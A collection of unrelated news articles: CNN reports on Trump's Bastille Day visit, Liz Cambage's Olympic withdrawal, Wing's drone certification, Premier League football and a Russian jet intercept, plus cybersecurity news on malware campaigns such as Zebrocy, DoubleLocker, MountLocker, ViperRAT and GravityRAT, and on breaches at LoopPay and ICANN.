Photos: Trump in Paris for Bastille Day celebrationsMacron greets Trump at Les Invalides.Hide Caption 16 of 18 Photos: Trump in Paris for Bastille Day celebrationsMelania Trump visits with children at Paris' Necker Hospital on July 13.Hide Caption 17 of 18 Photos: Trump in Paris for Bastille Day celebrationsPresident Trump waves as he and his wife arrive at Paris' Orly Airport.Hide Caption 18 of 18"On this day of national celebration, we must not ever forget the price that we paid for conquering, for winning our rights," he said. "The price which we are prepared to pay to defend them because it is they which unite us and make France, France and make France what it is today."Security around the area was tight amid heightened security in Paris following a series of terror attacks over the past several years. This year's Bastille Day also marks the one-year anniversary of the truck attack along the Promenade des Anglais, in Nice, which killed more than 80. Macron was due to fly to the Riviera city to commemorate the victims after bidding Trump farewell in Paris.Donald Trump is not the only unpredictable leader in Paris todayIt's a packed itinerary for the new French president, who has taken to dramatic displays of Gallic splendor in welcoming Trump to France. Thursday saw a full military review and a tour of Napoleon's tomb at Les Invalides before a haute dining experience on the second landing of the Eiffel Tower.France acts as a key security partner for the United States and has been the second largest contributor to the US-led anti-ISIS coalition, but its days as a military power have faded somewhat. Macron hopes to return his country to major global standing, including by reaching out to the isolationist Trump.Macron hopes to act as Trump's bridge to Europe, his advisers have said, as other leaders here effectively isolate the US on a set of key issues. While Macron has made his differences with his American counterpart known, he's also made plain his desire to foster a close bond.How to win a friend and influence a PresidentTrump, meanwhile, has appeared more than pleased at his reception here. As President, Trump has basked in the traditional trappings of power, including the military symbols of the office.Trump reportedly requested military hardware to be included in his inaugural parade, though ultimately the usual mix of marching bands processed down Pennsylvania Avenue instead of tanks and troops.In Paris, however, Trump witnessed his desired show of military might, albeit another country's. He stood and clapped as six F15 Thunderbirds flew overhead, saluted as American troops processed past, and appeared to enjoy a jaunty finale performed by a French military band.He received applause as he departed, waving to a friendly crowd before stepping into his armored limousine for the ride to Orly airport — an upbeat departure for a leader who now returns back to a storm of controversy back home.
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(CNN)The Australian Olympic Committee (AOC) has announced that women's basketball player Liz Cambage -- a star player on the WNBA's Las Vegas Aces -- has withdrawn from the Australian Olympic Team and will not compete in Tokyo.Cambage, a 2021 WNBA All-Star, is averaging 14.6 points and 8.9 rebounds per game for the Aces this season."It's no secret that in the past I've struggled with my mental health and recently I've been really worried about heading into a 'bubble' Olympics," Cambage said in posts on Instagram and Twitter. "No family. No friends. No fans. No support system outside of my team. It's honestly terrifying for me. The past month I've been having panic attacks, not sleeping and not eating."Relying on daily medication to control my anxiety is not the place I want to be right now. Especially walking into competition on the world's biggest sporting stage.Read More"I know myself, and I know I can't be the Liz everyone deserves to see compete for the Opals. Not right now at least. I need to take care of myself mentally and physically."READ: Basketball star Liz Cambage criticizes lack of diversity in Australian Olympic team's promotional photosJUST WATCHEDWNBA star Jewell Loyd talks Olympics, athlete activism ReplayMore Videos ...MUST WATCHWNBA star Jewell Loyd talks Olympics, athlete activism 01:58Prior to the announcement of Cambage's withdrawal, an AOC spokesman had told CNN that it was aware of a potential incident involving Cambage and were awaiting a report from Basketball Australia, but the organization provided no further details.CNN has reached out to Basketball Australia for more information but has not heard back. The Australian team is in Las Vegas preparing for the Olympics. Following the announcement of Cambage's withdrawal, the Opals defeated the gold-medal favorite Team USA on Friday in an exhibition game, 70-67.Chef de Mission Ian Chesterman had said in an earlier press conference: "We've been informed by Basketball Australia that they're investigating an issue. We have not received any further reporting except for that."In an Instagram story posted Friday after she had withdrawn, Cambage referenced what had happened during a recent scrimmage between Australia and Nigeria -- and said her decision to not go to Tokyo had been "a few days in the making.""As soon as I put out that little statement yesterday and made the final decision, I felt a world of anxiety and pressure and heaviness I have been carrying lift straight off me," Cambage said, later adding, "I just want to say this decision was coming and I'm happy I finally made it on my own terms. It's sad that news got leaked yesterday that I didn't even know about."Yeah, things got heated in the Nigeria game. There was a physical altercation and there were words exchanged."Cambage had opted out of the 2020 WNBA season when it took place in a bubble environment in Florida."The main reason I sat out of the WNBA last season was my mental health," Cambage said. "I'm not OK in a bubble. I'm not OK playing in front of no fans. Mentally, I'm an escapist. If I have no escape from a situation, it gives me anxiety and I panic. There's definitely no escape except for leaving once you get into Tokyo, and I would not want to do that to my team."The AOC has said it will explore the potential for a late replacement for Cambage for the Opals Team."Liz has made a great contribution to the Australian Olympic Team over two Olympic Games campaigns. We respect her decision and wish her the best in returning to full health," Chesterman said.In May, Cambage threatened to boycott the Tokyo Olympics while speaking out against the lack of racial diversity in promotional photos of the Australian Olympic team.The Olympics are scheduled to get underway on July 23 and run until August 8.
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Washington, DC (CNN Business)A subsidiary of Google's parent company has become the first drone-delivery company to receive a critical Federal Aviation Administration certification.Wing was granted an air carrier certification, which clears it to make commercial deliveries in the United States. The company said in a Medium post Tuesday that it's aiming to launch a delivery trial later this year. A Wing spokeswoman declined to say how many people would be served by the trial, how many drones will be involved, or what kind of goods would be delivered. The drones can fly autonomously, but Wing will have certified pilots on the ground who can take control of the drones as a precaution.Wing, a part of Alphabet (GOOG) that began as a Google X project, said it has flown 70,000 test flights, and made more than 3,000 deliveries in Australia. Earlier this month, Wing announced it was delivering food and other items to a limited number of homes in the suburbs of Canberra, Australia's capital. Read MoreThis Alphabet-owned company is delivering espresso via drone in AustraliaSo far, drone delivery has been limited in the United States, with larger programs occurring overseas in countries such as Rwanda. Drone delivery advocates say it could lead to faster delivery times and smaller environmental impacts than other forms of delivery. In its tests in Australia, the average Wing delivery was completed in 7 minutes 36 seconds, according to a spokeswoman. Merchants spent about four minutes preparing the packages, and the drone flights were roughly three minutes.Flying drones in the US airspace is more complicated, as drones must safely navigate dense, complex environments that include airports, low-flying helicopters, and pedestrians below.Wing plans to launch a delivery trial later this year.Wing's trial will launch in parts of Virginia that generally aren't densely populated, namely Blacksburg and Christiansburg. Wing previously trialed burrito delivery on Virginia Tech's campus in Blacksburg. The new delivery service will be part of the US Department of Transportation's drone pilot program, which was announced in October 2017. The three-year program designated areas, including Virginia, as places to test drones and spur developments. Participants have been given more leeway to experiment with innovations such as nighttime flights and flying over people. Amazon has planes, drones and now...satellites?"This is an important step forward for the safe testing and integration of drones in our economy," US Secretary of Transportation Elaine Chao said in a statement. Many hurdles remain to making drone delivery a common part of Americans' lives.Drones will need to be identified remotely, so local law enforcement can determine if a nearby drone has a legitimate reason to be flying or could be problematic. Those regulations are currently being developed. Drones will also need to fly over people, at night, and to be connected to an unmanned air traffic management system, just as larger aircrafts are.
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A Russian threat actor known for its malware campaigns has reappeared in the threat landscape with yet another attack leveraging COVID-19 as phishing lures, once again indicating how adversaries are adept at repurposing the current world events to their advantage.
Linking the operation to a sub-group of APT28 (aka Sofacy, Sednit, Fancy Bear, or STRONTIUM), cybersecurity firm Intezer said the pandemic-themed phishing emails were employed to deliver the Go version of Zebrocy (or Zekapab) malware.
The cybersecurity firm told The Hacker News that the campaigns were observed late last month.
Zebrocy is delivered primarily via phishing attacks that contain decoy Microsoft Office documents with macros as well as executable file attachments.
First spotted in the wild in 2015, the operators behind the malware have been found to overlap with GreyEnergy, a threat group believed to be the successor of BlackEnergy aka Sandworm, suggesting its role as a sub-group with links to Sofacy and GreyEnergy.
It operates as a backdoor and downloader capable of collecting system information, file manipulation, capturing screenshots, and executing malicious commands that are then exfiltrated to an attacker-controlled server.
While Zebrocy was originally written in Delphi (called Delphocy), it has since been implemented in half a dozen languages, including AutoIT, C++, C#, Go, Python, and VB.NET.
This specific campaign spotted by Intezer uses the Go version of the malware, first documented by Palo Alto Networks in October 2018 and later by Kaspersky in early 2019, with the lure delivered as part of a Virtual Hard Drive (VHD) file that requires victims to use Windows 10 to access the files.
Once mounted, the VHD file appears as an external drive with two files, one a PDF document that purports to contain presentation slides about Sinopharm International Corporation, a China-based pharmaceutical company whose COVID-19 vaccine has been found to be 86% effective against the virus in late-stage clinical trials.
The second file is an executable that masquerades as a Word document that, when opened, runs the Zebrocy malware.
Intezer said it also observed a separate attack likely targeting Kazakhstan with phishing lures impersonating an evacuation letter from India's Directorate General of Civil Aviation.
Phishing campaigns delivering Zebrocy have been spotted several times in the wild in recent months.
In September last year, ESET detailed Sofacy's intrusive activities targeting the Ministries of Foreign Affairs in Eastern European and Central Asian countries.
Then earlier this August, QuoIntelligence uncovered a separate campaign aimed at a government body in Azerbaijan under the pretense of sharing NATO training courses to distribute the Zebrocy Delphi variant.
The Golang version of the Zebrocy backdoor also caught the attention of the US Cybersecurity and Infrastructure Security Agency (CISA), which released an advisory in late October, cautioning that the malware is "designed to allow a remote operator to perform various functions on the compromised system."
To thwart such attacks, CISA recommends exercising caution when using removable media and opening emails and attachments from unknown senders, and scanning for suspicious email attachments, and ensuring the extension of the scanned attachment matches the file header.
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Story highlights10-man Chelsea loses at West Ham Jose Mourinho sent to standsReal Madrid wins La Liga table topperBayern marches on in Bundesliga (CNN)Chelsea's disastrous defense of the English Premier League plumbed new depths as manager Jose Mourinho and midfielder Nemanja Matic were sent off in its 2-1 defeat at West Ham Saturday. It was Chelsea fifth defeat in the EPL this season, but the repercussions for Mourinho could be even more serious.Follow @cnnsport
With his side trailing 1-0 at halftime, Matic dismissed and with a Cesc Fabregas equalizing effort ruled out, Mourinho reportedly confronted referee Jonathan Moss in the tunnel at Upton Park.He spent the second half in the directors' box after being ejected, a fate which also befell first team coach Silvino Louro.Mourinho refused to speak to the media after the match, but earlier this month he was fined £50,000 ($75,000) and given a suspended stadium ban for his criticism of another referee in a loss to Southampton.You close your eyes and hope that this is just imagination #Mourinho pic.twitter.com/oIek6g2KKT— ITV Football (@itvfootball) October 24, 2015
Read MoreIt was a tale of familiar failings for Chelsea, who have leaked goals in the campaign, with slack defense from a corner allowing Mauro Zarate to power home the opener for West Ham.Chelsea might have leveled through Fabregas -- a marginal offside decision -- and Kurt Zouma's header was just millimeters from crossing the line, goal line technology confirmed. But Matic went after bringing down Diafra Sakho just before the break to earn a second yellow to make its task even more difficult.Carroll winnerTo its credit, 10-man Chelsea fought back to level through Gary Cahill, but the Hammers sealed three points when Andy Carroll powered home a header - his first goal in the EPL in 279 days after injury setbacks putting his side up to third. Later Saturday, Arsenal took over at the top of the standings with a 2-1 home win over Everton. Arsene Wenger's team leads Manchester City by a single point, but fully 11 points ahead of Chelsea after just 10 games.City plays fourth-placed Manchester United in a crunch derby match Sunday hoping to regain the leadership.Arsenal scored two goals in the space of two first half minutes, both headers, from Olivier Giroud and Laurent Koscielny, to take command at the Emirates.But England international Ross Barkley pulled one back before the break and the result was in doubt to the last, Everton losing Gareth Barry to a second yellow card near the final whistle.In other games, Jamie Vardy scored in his seventh straight EPL game to give unheralded Leicester a 1-0 win over Crystal Palace to stay fifth, while the pressure is mounting on manager Tim Sherwood after Aston Villa's 2-1 home defeat to Swansea.Real goes topCristiano Ronaldo scored the opener in Real Madrid's 3-1 win at Celta Vigo, leapfrogging the home side at the top of the La Liga standings.Real led 2-0 after 23 minutes through Ronaldo, his 12th in as many games this season, and Danilo, but relied on goalkeeper Keylor Navas to repel an impressive home side, who had a string of shots on target in the first halfCheck out the best photos from our 3-1 win against Celta! 🙌⚽📷
#RMLiga #HalaMadrid pic.twitter.com/Ckjp609TPi— Real Madrid C.F. (@realmadriden) October 24, 2015
Even after Celta was reduced to 10 men just 12 minutes into the second-half when Gustavo Cabral was dismissed for a second yellow card, it still pushed forward and Nolito grabbed a deserved goal five minutes from time.The result was in the balance until Marcelo scored for Real with the final kick of the match to seal the three points.Barcelona can draw level with Real on points with a home win over Eibar Sunday.Robben returnsMeanwhile, Bayern Munich made it 10 win wins from 10 in the Bundesliga as Arjen Robben made a successful return from injury.Robben scored the opener in the 4-0 win over FC Cologne which leaves the German champions 10 points clear of Borussia Dortmund, who play Sunday.It was the 1,000th Bundesliga win for the German powerhouses, who suffered a rare setback when beaten 2-0 by Arsenal in the Champions League in midweek.#FCB1000 #MiaSanMia pic.twitter.com/7eKCnrUwXP— FC Bayern English (@FCBayernEN) October 24, 2015
Normal service was quickly resumed as Dutch star Robben netted after 35 minutes with Arturo Vidal doubling the lead five minutes later.After the break, Robert Lewandowski kept up his incredible scoring spree, 13 in nine league games this term, and was later fouled for the penalty which was converted by Thomas Mueller to complete the rout.
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DoubleLocker—as the name suggests, it locks device twice.
Security researchers from Slovakia-based security software maker ESET have discovered a new Android ransomware that not just encrypts users' data, but also locks them out of their devices by changing lock screen PIN.
On top of that:
DoubleLocker is the first-ever ransomware to misuse Android accessibility—a feature that provides users alternative ways to interact with their smartphone devices, and mainly misused by Android banking Trojans to steal banking credentials.
"Given its banking malware roots, DoubleLocker may well be turned into what could be called ransom-bankers," said Lukáš Štefanko, the malware researcher at ESET.
"Two-stage malware that first tries to wipe your bank or PayPal account and subsequently locks your device and data to request a ransom."
Researchers believe DoubleLocker ransomware could be upgraded in future to steal banking credentials as well, other than just extorting money as ransom.
First spotted in May this year, DoubleLocker Android ransomware is spreading as a fake Adobe Flash update via compromised websites.
Here's How the DoubleLocker Ransomware Works:
Once installed, the malware requests user for the activation of 'Google Play Services' accessibility feature, as shown in the demonstration video.
After obtaining this accessibility permission, the malware abuses it to gain device's administrator rights and sets itself as a default home application (the launcher)—all without the user's knowledge.
"Setting itself as a default home app – a launcher – is a trick that improves the malware's persistence," explains Štefanko.
"Whenever the user clicks on the home button, the ransomware gets activated, and the device gets locked again. Thanks to using the accessibility service, the user does not know that they launch malware by hitting Home."
Once executed, DoubleLocker first changes the device PIN to a random value that neither attacker knows nor stored anywhere and meanwhile the malware encrypts all the files using AES encryption algorithm.
DoubleLocker ransomware demands 0.0130 BTC (approximately USD 74.38 at time of writing) and threatens victims to pay the ransom within 24 hours.
If the ransom is paid, the attacker provides the decryption key to unlock the files and remotely resets the PIN to unlock the victim's device.
How to Protect Yourself From DoubleLocker Ransomware
According to the researchers, so far there is no way to unlock encrypted files, though, for non-rooted devices, users can factory-reset their phone to unlock the phone and get rid of the DoubleLocker ransomware.
However, for rooted Android devices with debugging mode enabled, victims can use Android Debug Bridge (ADB) tool to reset PIN without formatting their phones.
The best way to protect yourself from avoiding falling victims to such ransomware attacks is to always download apps from trusted sources, like Google play Store, and stick to verified developers.
Also, never click on links provided in SMS or emails. Even if the email looks legit, go directly to the website of origin and verify any possible updates.
Moreover, most importantly, keep a good antivirus app on your smartphone that can detect and block such malware before it can infect your device, and always keep it and other apps up-to-date.
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A relatively new ransomware strain behind a series of breaches on corporate networks has developed new capabilities that allow it to broaden the scope of its targeting and evade security software—as well as with ability for its affiliates to launch double extortion attacks.
The MountLocker ransomware, which only began making the rounds in July 2020, has already gained notoriety for stealing files before encryption and demanding ransom amounts in the millions to prevent public disclosure of stolen data, a tactic known as double extortion.
"The MountLocker Operators are clearly just warming up. After a slow start in July they are rapidly gaining ground, as the high-profile nature of extortion and data leaks drive ransom demands ever higher," researchers from BlackBerry Research and Intelligence Team said.
"MountLocker affiliates are typically fast operators, rapidly exfiltrating sensitive documents and encrypting them across key targets in a matter of hours."
MountLocker also joins the likes of other ransomware families like Maze (which shut down its operations last month) that operate a website on the dark web to name and shame victims and supply links to leaked data.
To date, the ransomware has claimed five victims, although the researchers suspect the number could be "far greater."
Offered as Ransomware-as-a-Service (RaaS), MountLocker was notably deployed earlier this August against Swedish security firm Gunnebo.
Although the company said it had successfully thwarted the ransomware attack, the criminals who orchestrated the intrusion ended up stealing and publishing online 18 gigabytes of sensitive documents, including schematics of client bank vaults and surveillance systems, in October.
Now according to BlackBerry's analysis, threat actors behind MountLocker-related affiliate campaigns leveraged remote desktop (RDP) with compromised credentials to gain an initial foothold on a victim's environment — something that was observed in Gunnebo's hack as well — and subsequently install tools to carry out network reconnaissance (AdFind), deploy the ransomware and laterally spread across the network, and exfiltrate critical data via FTP.
The ransomware in itself is lightweight and efficient. Upon execution, it proceeds to terminate security software, trigger encryption using ChaCha20 cipher, and create a ransom note, which contains a link to a Tor .onion URL to contact the criminals via a "dark web" chat service to negotiate a price for decrypting software.
It also uses an embedded RSA-2048 public key to encrypt the encryption key, deletes volume shadow copies to thwart restoration of the encrypted files, and eventually removes itself from the disk to hide its tracks.
The researchers, however, point out that the ransomware uses a cryptographically insecure method called GetTickCount API for key generation that may be susceptible to a brute-force attack.
MountLocker's list of encryption targets is extensive, with support for over 2600 file extensions spanning databases, documents, archives, images, accounting software, security software, source code, games, and backups. Executable files such as .exe, .dll, and .sys are left untouched.
That's not all. A new variant of MountLocker spotted in late November (dubbed "version 2") goes a step further by dropping the list of extensions to be included for encryption in favor of a lean exclusion list: .exe, .dll, .sys, .msi, .mui, .inf, .cat, .bat, .cmd, .ps1, .vbs, .ttf, .fon, and .lnk.
"Since its inception, the MountLocker group has been seen to both expand and improve their services and malware," the researchers concluded. "While their current capabilities are not particularly advanced, we expect this group to continue developing and growing in prominence over the short term."
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Security researchers from Symantec warn of a new banking trojan capable of hijacking the SSL connections between browsers and online banking sites in a way that is hard to spot.
Variants of this malware, which Symantec detects as Trojan.Tatanarg, have been in circulation since last October, but its code is believed to be based on an older threat called W32.Spamuzle.
The trojan has a modular architecture, with separate components handling different tasks, and the functionality of most banking malware.
It can inject rogue HTML code into pages (man-in-the-browser attacks), disrupt antivirus software, uninstall other banking trojans and enable Windows remote access.
It also features a backdoor component through which attackers can issue commands to control the infected computers.
However, the most interesting functionality of this trojan is its ability to function as a proxy between browsers and SSL-secured websites.
This is achived by hijacking the legit SSL connection and establishing a new one on the browser end using a self-signed certificate.
Alerts are blocked and exceptions are added automatically in the browser making the attack almost transparent to users.
The HTTPS prefix is present, as is the padlock indicating a SSL connection. The only way for the user to realize he's not using his bank's certificate would be to manually check the issuer.
Tatanarg is one of several banking trojans that appeared since the crackdown on ZeuS-based cyberfraud operations last year. It seems that unhappy with the heat, criminal gangs have begun developing their own custom malware.
They also try to come up with innovative attack methods. Just last week, Trusteer reported about a trojan dubbed OddJob which forces browsers to keep sessions open after users think they successfuly logged out.
Users are advised to always keep their antivirus programs up to date to ensure they have the latest protection available. Also, if possible, online banking should be performed from a dedicated computer or a live cd.
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Story highlightsThe US Air Force B-52 was flying a routine mission in international airspaceA Russian MiG-31 fighter jet also intercepted a Norwegian P-3C Orion aircraftWashington (CNN)A Russian fighter jet intercepted a US bomber over the Baltic Sea in international waters on Tuesday, according to a statement from the Russian Defense Ministry that was published on state news agency TASS. "On June 6 Russia's airspace monitoring ... identified an air target flying along Russia's state border over the international waters of the Baltic Sea. A Sukhoi-27 fighter jet of the Baltic Sea Fleet's air defense force was dispatched to intercept the target," according to the statement, quoted by TASS.A Russian Air Force flight demonstration team perform with their SU-27 jet fighters over St. Petersburg, Russia."The crew of Russia's Sukhoi-27 jet approached the aircraft staying at a safe distance, identified it as a US strategic bomber B-52 and escorted it for some time," the report said.The Pentagon also confirmed that the intercept occurred.Russian jet flies within 20 feet of US Navy plane "A US Air Force B-52 Stratofortress flying a routine mission in support of multiple planned exercises in international airspace over the Baltic Sea was intercepted by a Russian SU-27," according to a statement from Lt. Col. Michelle L. Baldanza, a US Army Defense Department spokeswoman.Read More"The crew involved is still supporting the exercise. There are a number of intercepts that take place on a regular basis. The vast majority are conducted in a safe manner," the statement said.Against backdrop of uncertainty, US B-52 bombers deploy to EuropeEarlier this month, the US Air Force deployed B-52 bombers and 800 airmen to the United Kingdom in support of joint exercises with NATO allies and partners that are taking place across Europe. Those scheduled training drills were expected to primarily take place on Russia's doorstep -- specifically in the Baltic Sea, the Arctic and along Russia's border with several NATO partners.A Russian Ministry of Defense statement in a TASS report also said that a Russian MiG-31 fighter jet intercepted a Norwegian P-3C Orion aircraft on Tuesday in international waters over the Barents Sea."The interceptor plane's crew approached the target at a safe distance and visually identified it as a P-3C Orion anti-submarine warfare patrol aircraft of the Norwegian Air Force. After the Norwegian plane changed its flight route and flew away from the border of the Russian Federation, the MiG-31 fighter jet returned to its home aerodrome," according to TASS.Norway has downplayed the significance of the incident, saying the maritime patrol plane identified by Russian aircraft was operating in international airspace.Lt. Col. Ivar Moen, senior spokesman for Norwegian Join Headquarters (NJHQ) told CNN that Russia did not "intercept" the Norwegian Air Force plane in the Barents Sea Tuesday.Moen stressed that the interaction between the Norwegian and Russian aircraft was considered "normal."Along with the US, Norway is one of the 12 original members of NATO. CNN's Joseph Netto and Jennifer Hauser contributed to this report.
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Samsung has been surrounded by a lot of controversies since the past few years, but that has not influenced its productivity.
But this report has raised a few eyebrows...
Samsung's mobile payment system company, LoopPay, was hacked back in March this year, just a month after Samsung bought it to help make Samsung Pay a reality.
Samsung acquired LoopPay for more than $250 Million in February this year, and a group of Chinese Hackers were able to access LoopPay computer systems in March.
The most worrisome part is – the hack was discovered 5 months later in August.
Hackers were After Technology; Not Money or Sensitive Data
The hackers, believed to be from a group called 'Codoso Group' or 'Sunshock Group,' were after the company's Magnetic Secure Transmission (MST) Technology.
The group injected LoopPay's computer network with a hidden sophisticated attack in March, but the investigation kicked off when LoopPay learned of the breach in late August.
During the investigation the two private forensics teams appointed by LoopPay discovered several facts about the Codoso Group which revealed:
The hackers broke into LoopPay's corporate network, but not the production system that helps manage payments.
It seems the hackers were after the MST technology, which is the key part of the Samsung Pay mobile payment system that made its public debut in the US last week.
So, there is less possibility of leaking user credentials online.
Samsung Pay and the MST Technology
Samsung Pay is a similar method of mobile payment which is earlier adopted by Apple (Apple Pay) and Google (Android Wallet), allowing consumers to pay for products using their smartphones with Near-Field Communications (NFC) technology.
While most tap-and-pay mobile wallets need a point-of-sale system with NFC capabilities, LoopPay's MST technology gives an advantage to Samsung Pay by:
Supporting older payment systems by emulating a commonly used magnetic stripe card.
With its reach on limited Samsung smartphones, MST works with 90% of legacy terminals in use by the United States retailers.
LoopPay Hacked! But Samsung Pay Not Affected
Samsung said that Samsung Pay was not affected by the LoopPay hack and that no user data was compromised.
In a statement, Samsung's chief privacy officer Darlene Cedres said, "Samsung Pay was not impacted and at no point was any personal payment information at risk. This was an isolated incident that targeted the LoopPay corporate network, which is a physically separate network from Samsung Pay."
Adding more to it, Will Graylin, LoopPay's chief executive and co-general manager of Samsung Pay told that they have not filed a lawsuit at present, but…
...if the Codoso Group would ever misuse the information against Samsung Pay or make a Copycat product, LoopPay could file a patent lawsuit.
Codoso Group creates Havoc when they arrive!
LoopPay is not their first victim; previously the Chinese Government-affiliated hacking group has launched attacks on Forbes.com in February and conquered security of many other entities.
In other cases, investigators and security experts have established the Modus Operandi of the Codoso Group, which reveal that the group plans their attack with an everlasting effect, as in they are famous for...
Planting hidden backdoors across victims' systems so that they continue to spread their virus long after the initial breach.
It is like the Codoso group spreads the infection across the systems and secure and separate their hideout.
However, the investigation is still going in this case. Further, the experts say that it takes a longer period to recover from such attacks.
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A Ukrainian national and a mid-level supervisor of the hacking group known as FIN7 has been sentenced to seven years in prison for his role as a "pen tester" and perpetuating a criminal scheme that enabled the gang to compromise millions of customers debit and credit cards.
Andrii Kolpakov, 33, was arrested in Spain on June 28, 2018, and subsequently extradited to the U.S. the following year on June 1, 2019. In June 2020, Kolpakov pleaded guilty to one count of conspiracy to commit wire fraud and one count of conspiracy to commit computer hacking.
The Western District of Washington also ordered Kolpakov to pay $2.5 million in restitution.
The defendant, who was involved with the group from April 2016 until his arrest, managed other hackers who were tasked with breaching the point-of-sale systems of companies, both in the U.S. and elsewhere, to deploy malware capable of stealing financial information.
FIN7, also called Anunak, Carbanak Group, and the Navigator Group, is said to have engaged in a sophisticated malware campaign at least since 2015 targeting restaurant, gambling, and hospitality industries in the U.S. to plunder credit and debit card numbers that were then used or sold for profit on underground forums.
According to court documents, FIN7 used a firm called Combi Security as a front to recruit hackers — one of them being Kolpakov — to "provide a veil of legitimacy to the illegal enterprise," while projecting itself as "one of the leading international companies" that offered penetration testing services to customers worldwide.
"FIN7 carefully crafted email messages that would appear legitimate to a business's employees and accompanied emails with telephone calls intended to further legitimize the emails," the Department of Justice (DoJ) said in a release. "Once an attached file was opened and activated, FIN7 would use an adapted version of the Carbanak malware, in addition to an arsenal of other tools, to access and steal payment card data for the business's customers."
The total damages stemming from these intrusions exceeded $1 billion, the DoJ said.
Kolpakov is the second member of the FIN7 group to be sentenced in the U.S. since the start of the year. In April, another 35-year-old Ukrainian national Fedir Hladyr was awarded 10 years in prison for his role as a high-level manager and systems administrator responsible for maintaining the server infrastructure that FIN7 used to attack and control victims' machines.
This is not the first time FIN7 has disguised itself as a legitimate cybersecurity company to distribute malware.
Last month, researchers from BI.ZONE cyber threats research team found that the collective distributed a toolkit called Lizar (aka Tirion) as a penetration testing software for Windows networks with the aim of conducting reconnaissance and getting a foothold inside infected systems. "These groups hire employees who are not even aware that they are working with real malware or that their employer is a real criminal group," the researchers noted.
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ICANN (Internet Corporation for Assigned Names and Numbers) – the organisation responsible for allocating domain names and IP addresses for the Internet – has been hacked, potentially compromising its customers' names, email addresses, hashed passwords, and more.
The US-administered non-profit corporation admitted on Wednesday that its server security was breached within the past week and that…
…an "unauthorised person" gained access to usernames, email addresses, and encrypted passwords for profile accounts on ICANN.org public website.
The organisation believes that the leaked information includes harmless information such as user preferences, public biographies, interests, newsletters, and subscriptions.
Less than ten months ago, ICANN was hacked by a hacker who gained access to its internal system following a spear phishing attack in November last year. Employees were tricked into handing over their credentials after receiving malicious emails apparently sent from the ICANN's own domain.
With those details, the hackers then managed to access ICANN systems, including the Centralized Zone Data System (CZDS), the domain registration Whois portal, the wiki pages of the ICANN Governmental Advisory Committee (GAC), and ICANN blog.
The passwords compromised in the latest data breach were encrypted one-way using the bcrypt algorithm.
"These encrypted passwords (hashes) are not easy to reverse," ICANN said, "but as a precaution we [require] that all users reset their passwords."
However, there's no evidence that any profile accounts, or its internal systems have been accessed without authorization, nor any operational data, financial data, or IANA (Internet Assigned Numbers Authority) systems were involved.
The IANA is also a part of ICANN, which performs the actual management of the DNS root zone, globally-unique names and numbers.
Users are recommended to change their online account passwords, or just not using the same password across multiple websites.
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A group of highly sophisticated state-sponsored hackers is spying on the Israeli military by hacking into the personal Android phones of individual soldiers to monitor their activities and steal data.
A newly released research by Lookout and Kaspersky suggests that more than 100 Israeli servicemen from the Israeli Defense Force (IDF) are believed to have been targeted with spyware.
Dubbed ViperRAT, the malware has specifically been designed to hijack Israeli soldiers' Android-based smartphones and remotely exfiltrate data of high value, including photos and audio recordings, directly from the compromised devices.
Modus Operandi Identified
According to the security firms, IDF personnel had been compromised by social engineering techniques — where the soldiers were lured via Facebook Messenger and other social networks into entering communications with hackers who posed as attractive women from various countries like Canada, Germany, and Switzerland.
The soldiers were then tricked into installing a trojanized version of two different, typically legitimate Android chat apps, SR Chat and YeeCall Pro, for easier communication.
The malware has also been distributed using a dropper hidden in other Android smartphone applications including a billiards game, an Israeli Love Songs player, and a Move To iOS app, which are common to Israeli citizens and available in the Google Play store.
The app then scanned soldiers' smartphones and downloaded another malicious application that masqueraded as an update for one of the already installed apps, such as WhatsApp, and tricked victims to allow various permissions in order to carry out surveillance.
This, in turn, allowed the attackers to execute on demand commands, enabling them to control phone's microphone and camera, eavesdrop on soldiers' conversations, and peer into live camera footage.
Besides this, the ViperRAT malware gathers a broad range of data from compromised devices including geolocation, call log, personal photos, SMS messages, cell phone tower information, network and device metadata, internet browsing, and app download history.
According to researchers, the hackers were able to successfully establish a widespread cyber espionage campaign by compromising dozens of mobile devices from Samsung, HTC, LG and Huawei belonging to over 100 Israeli soldiers.
Besides, almost 9,000 files stolen from compromised devices (roughly 97 percent) that were exfiltrated from compromised devices were identified by Lookout researchers as being highly encrypted images, which were taken using the device camera.
However, it's likely the IDF is not the only target.
The ViperRAT attack campaign started in July and continued to date, according to Kaspersky researchers.
Is Hamas Behind the Cyber-Spying Operation?
The IDF closely worked with Kaspersky Labs and Lookout to investigate this incident and theorized that Hamas was behind these attacks. However, Lookout researchers have come to doubt that theory.
According to Lookout researchers, "Based on tradecraft, the modular structure of code and use of cryptographic protocols [AES and RSA encryption] the actor appears to be quite sophisticated."
Researchers say Hamas is not known for sophisticated mobile capabilities, which makes it unlikely they are directly responsible for ViperRAT.
The IDF is currently working together with both Lookout and Kaspersky to identify infected targets and protect against further attacks, but there is one simple way to protect against ViperRAT: don't download apps from untrusted third-party sources.
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A Windows-based remote access Trojan believed to be designed by Pakistani hacker groups to infiltrate computers and steal users' data has resurfaced after a two-year span with retooled capabilities to target Android and macOS devices.
According to cybersecurity firm Kaspersky, the malware — dubbed "GravityRAT" — now masquerades as legitimate Android and macOS apps to capture device data, contact lists, e-mail addresses, and call and text logs and transmit them to an attacker-controlled server.
First documented by the Indian Computer Emergency Response Team (CERT-In) in August 2017 and subsequently by Cisco Talos in April 2018, GravityRAT has been known to target Indian entities and organizations via malware-laced Microsoft Office Word documents at least since 2015.
Noting that the threat actor developed at least four different versions of the espionage tool, Cisco said, "the developer was clever enough to keep this infrastructure safe, and not have it blacklisted by a security vendor."
Then last year, it emerged that Pakistani spies used fake Facebook accounts to reach out to more than 98 officials from various defence forces and organizations, such as the Indian Army, Air Force, and Navy, and trick them into installing the malware disguised as a secure messaging app called Whisper.
But even as the latest evolution of GravityRAT goes beyond anti-malware evasion capabilities to gain multi-platform support — including Android and macOS — the overall modus operandi remains the same: sending targets links to booby-trapped Android (e.g., Travel Mate Pro) and macOS apps (Enigma, Titanium) to distribute the malware.
Kaspersky said it found over ten versions of GravityRAT that were being distributed under the guise of legitimate applications by cross-referencing the command-and-control (C2) addresses used by the Trojan.
In all, the trojanized applications spanned across travel, file sharing, media players, and adult comics categories, catering to users of Android, macOS, and Windows, thereby allowing the attackers to grab system information, documents with specific extensions, a list of running processes, record keystrokes and take screenshots, and even execute arbitrary Shell commands.
"Our investigation indicated that the actor behind GravityRAT is continuing to invest in its spying capacities," Kaspersky's Tatyana Shishkova said.
